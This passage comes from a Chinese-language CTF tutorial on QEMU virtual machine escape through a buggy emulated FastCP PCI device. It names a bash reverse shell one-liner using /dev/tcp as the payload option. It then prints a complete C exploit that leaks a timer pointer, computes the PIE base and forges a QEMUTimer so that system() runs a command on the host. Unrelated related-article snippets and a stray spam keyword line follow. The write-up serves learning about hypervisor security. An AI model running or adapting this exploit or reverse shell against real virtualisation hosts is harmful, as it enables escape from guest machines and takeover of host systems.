    • 反彈 shell,/bin/bash -c ‘bash -i >& /dev/tcp/ip/port 0>&1’,在 QEMU 逃逸中,執行 system(“/bin/bash”) 是無法拿到 shell 的,或者說是無法與 shell 內容交互的,必須使用反彈 shell 的形式才能夠拿到 shell。
    • 彈出計算器,gnome-calculator,這個大概比較適合用于做演示視頻吧。

    注意:所有在設備中的操作地址都是指 QEMU 模擬的物理地址,但是程序中使用 mmap 申請的是虛擬地址空間。所以要注意使用 mmap 申請出來的超過一頁的部分,在物理空間上不連續。如果需要操作那塊空間,需要使用那一頁的虛擬地址重新計算對應的物理地址。這個性質在這道題中(超過 0x1000 的物理地址復制),需要額外的注意。

    2.4 EXP

    #include <assert.h>
    #include <fcntl.h>
    #include <inttypes.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/mman.h>
    #include <sys/types.h>
    #include <sys/io.h>
    #include <unistd.h>
    
    
    #define PAGE_SHIFT 12
    #define PAGE_SIZE (1 << PAGE_SHIFT)
    #define PFN_PRESENT (1ull << 63)
    #define PFN_PFN ((1ull << 55) - 1)
    char* userbuf;
    uint64_t phy_userbuf, phy_userbuf2;
    unsigned char* mmio_mem;
    
    struct FastCP_CP_INFO
    {
        uint64_t CP_src;
        uint64_t CP_cnt;
        uint64_t CP_dst;
    };
    
    struct QEMUTimer
    {
        int64_t expire_time;
        int64_t timer_list;
        int64_t cb;
        void* opaque;
        int64_t next;
        int attributes;
        int scale;
        char shell[0x50];
    };
    
    void die(const char* msg)
    {
        perror(msg);
        exit(-1);
    }
    
    uint64_t page_offset(uint64_t addr)
    {
        return addr & ((1 << PAGE_SHIFT) - 1);
    }
    
    uint64_t gva_to_gfn(void* addr)
    {
        uint64_t pme, gfn;
        size_t offset;
    
        int fd = open("/proc/self/pagemap", O_RDONLY);
        if (fd < 0)
        {
            die("open pagemap");
        }
        offset = ((uintptr_t)addr >> 9) & ~7;
        lseek(fd, offset, SEEK_SET);
        read(fd, &pme, 8);
        if (!(pme & PFN_PRESENT))
            return -1;
        gfn = pme & PFN_PFN;
        return gfn;
    }
    
    uint64_t gva_to_gpa(void* addr)
    {
        uint64_t gfn = gva_to_gfn(addr);
        assert(gfn != -1);
        return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
    }
    
    void mmio_write(uint64_t addr, uint64_t value)
    {
        *((uint64_t*)(mmio_mem + addr)) = value;
    }
    
    uint64_t mmio_read(uint64_t addr)
    {
        return *((uint64_t*)(mmio_mem + addr));
    }
    
    void fastcp_set_list_src(uint64_t list_addr)
    {
        mmio_write(0x8, list_addr);
    }
    
    void fastcp_set_cnt(uint64_t cnt)
    {
        mmio_write(0x10, cnt);
    }
    
    void fastcp_do_cmd(uint64_t cmd)
    {
        mmio_write(0x18, cmd);
    }
    
    void fastcp_do_readfrombuffer(uint64_t addr, uint64_t len)
    {
        struct FastCP_CP_INFO info;
        info.CP_cnt = len;
        info.CP_src = NULL;
        info.CP_dst = addr;
        memcpy(userbuf, &info, sizeof(info));
        fastcp_set_cnt(1);
        fastcp_set_list_src(phy_userbuf);
        fastcp_do_cmd(4);
        sleep(1);
    }
    
    void fastcp_do_writetobuffer(uint64_t addr, uint64_t len)
    {
        struct FastCP_CP_INFO info;
        info.CP_cnt = len;
        info.CP_src = addr;
        info.CP_dst = NULL;
        memcpy(userbuf, &info, sizeof(info));
        fastcp_set_cnt(1);
        fastcp_set_list_src(phy_userbuf);
        fastcp_do_cmd(2);
        sleep(1);
    }
    
    void fastcp_do_movebuffer(uint64_t srcaddr, uint64_t dstaddr, uint64_t len)
    {
        struct FastCP_CP_INFO info[0x11];
        for (int i = 0; i < 0x11; i++)
        {
            info[i].CP_cnt = len;
            info[i].CP_src = srcaddr;
            info[i].CP_dst = dstaddr;
        }
        memcpy(userbuf, &info, sizeof(info));
        fastcp_set_cnt(0x11);
        fastcp_set_list_src(phy_userbuf);
        fastcp_do_cmd(1);
        sleep(1);
    }
    
    
    int main(int argc, char* argv[])
    {
        int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
        if (mmio_fd == -1)
            die("mmio_fd open failed");
    
        mmio_mem = mmap(0, 0x100000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
        if (mmio_mem == MAP_FAILED)
            die("mmap mmio_mem failed");
    
        printf("mmio_mem: %p\n", mmio_mem);
    
        userbuf = mmap(0, 0x2000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
        if (userbuf == MAP_FAILED)
            die("mmap userbuf failed");
        mlock(userbuf, 0x10000);
        phy_userbuf = gva_to_gpa(userbuf);
        printf("user buff virtual address: %p\n", userbuf);
        printf("user buff physical address: %p\n", (void*)phy_userbuf);
    
        fastcp_do_readfrombuffer(phy_userbuf, 0x1030);
        fastcp_do_writetobuffer(phy_userbuf + 0x1000, 0x30);
        fastcp_do_readfrombuffer(phy_userbuf, 0x30);
    
        uint64_t leak_timer = *(uint64_t*)(&userbuf[0x10]);
        printf("leaking timer: %p\n", (void*)leak_timer);
        fastcp_set_cnt(1);
        uint64_t pie_base = leak_timer - 0x4dce80;
        printf("pie_base: %p\n", (void*)pie_base);
        uint64_t system_plt = pie_base + 0x2C2180;
        printf("system_plt: %p\n", (void*)system_plt);
    
        uint64_t struct_head = *(uint64_t*)(&userbuf[0x18]);
    
        struct QEMUTimer timer;
        memset(&timer, 0, sizeof(timer));
        timer.expire_time = 0xffffffffffffffff;
        timer.timer_list = *(uint64_t*)(&userbuf[0x8]);
        timer.cb = system_plt;
        timer.opaque = struct_head + 0xa00 + 0x1000 + 0x30;
        strcpy(&timer.shell, "gnome-calculator");
        memcpy(userbuf + 0x1000, &timer, sizeof(timer));
        fastcp_do_movebuffer(gva_to_gpa(userbuf + 0x1000) - 0x1000, gva_to_gpa(userbuf + 0x1000) - 0x1000, 0x1000 + sizeof(timer));
        fastcp_do_cmd(1);
    
        return 0;
    }
    

    執行 EXP 后成功在主機中彈出計算器

    03 結語

    感謝你的耐心閱讀,如果前文中的內容都細看了,那么我相信應該對 QEMU、PCI 設備以及 QEMU 逃逸的過程已經有一個比較深入理解了。

    這篇作為 QEMU 逃逸初探文章的第一篇,主要是介紹了 QEMU 的基礎知識。但是學習過程只有理論而脫離實踐是無法真正學習到知識的,之后的幾篇內容都會以實戰題目為主要內容來逐步的學習 QEMU 逃逸,也希望讀者可以跟著文章中的介紹來動手操作一番。

    同時,因為作者的水平有限,我也是在寫文章的過程中去學習,文章中的很多代碼和圖片都來源于參考資料中,雖然我已經盡力的查閱大量的資料去檢驗內容的正確性,但是很難保證在文章中不出現錯誤。其中存在著一些主觀的理解,這些理解的正確性還需要在之后的實踐中來驗證。這一點希望讀者諒解,也希望發現錯誤的讀者能夠在評論區告知我以便修正。

    pciqemu
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    00 前言在 HWS2021 入營選拔比賽的時候,遇到了一道 QEMU 逃逸的題目,那個時候就直接莽上去分析了一通,東拼西湊的把 EXP 寫了出來。但是 QEMU 逃逸這部分的內容實在是比較復雜,而且涉及到了很多我完全沒有了解過的知識,所以一直鴿到了現在。System mode:系統模式,在這種模式下,QEMU 可以模擬出一個完整的計算機系統。
    QEMU逃逸系列
    2022-12-01 09:19:27
    qemu用于模擬設備運行,而qemu逃逸漏洞多發于模擬pci設備中,漏洞形成一般是修改qemu-system代碼,所以漏洞存在于qemu-system文件內。而逃逸就是指利用漏洞從qemu-system模擬的這個小系統逃到主機內,從而在linux主機內達到命令執行的目的。
    PCI設備,與主板之間的連接關系為:設備-[-]*-{-}-主板。總之,所有PCI設備,都直接或間接的連接到了主板上,并且每個PCI設備的內部,必然存在一些存儲單元,服務于設備功能,包括寄存器、RAM,甚至ROM,本文將它們稱為”功能存儲區間”,以便與”配置寄存器組”區分。◆管理對象分配分別為所有PCI總線和設備,分配pci_bus和pci_dev管理對象,記錄設備信息。
    PCI安全標準委員會已經更新了支付設備標準,以對持卡人數據提供更強大的保護。 應對支付設備技術的日新月異的變化 PCI PIN交易安全交互點模塊化安全要求增強了安全控制,以防止物理篡改和惡意軟件的插入,這些惡意軟...
    新的PCI DSS增加了關于網絡安全控制的更廣泛語言。先前版本的標準中,曾特別提到通過防火墻配置來保護持卡人數據環境。此次的新標準對這一點做了擴展。它創造了更大的空間,這可能會給一些銀行帶來重大轉變。
    SSL握手目的是實施一個安全連接所需的所有加密工作。SSL 握手包括算法協議、證書交換和使用共享算法的密鑰交換。這樣做是為了驗證SSL證書是否仍然有效。當服務器運行的協議版本明顯高于客戶端機器時,就會出現SSL握手問題。
    說到SSL證書,我們都知道其是用于實現HTTPS加密保障數據安全的重要工具,在建設網站的時候經常會部署SSL證書。但實際上,SSL證書的應用場景遠不止網站,它還被廣泛地應用到小程序、App Store、抖音廣告、郵件服務器以及各種物聯網設備中。SSL證書應用場景1:網站SSL證書應用在網站中,助力網站實現HTTPS加密保護傳輸數據安全及身份的可信認證,防泄露、防劫持、防篡改,消除瀏覽器不安全提示,
    隨著生成模型,尤其是大模型(LLM)的出現,以及ChatGPT的迅速躥紅,人們再次呼吁加強安全監管。
    9月7日,美國最大的博彩娛樂集團——凱撒娛樂遭遇了一次網絡攻擊,黑客入侵了其數據庫,據悉該數據庫存儲了眾多客戶的駕照號碼和社會安全號碼。為避免這些客戶數據在網上泄露,該公司近日表示已經支付了贖金。
    另一方面,定期的安全實踐提供了對系統進行壓力測試和發現潛在弱點的機會。雖然滲透測試很有價值,但它們的設計目的并不是提供企業每天面臨的威脅的實時數據。首席信息安全官必須管理實時活動,例如監控網絡流量、威脅搜索和漏洞檢測,以及例如滲透測試、風險評估和審計等定期活動。這一過程需要數據收集、威脅情報、風險評估和快速反應的復雜結合。一旦檢測到威脅,企業需要進行風險評估,以確定其響應的優先級。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类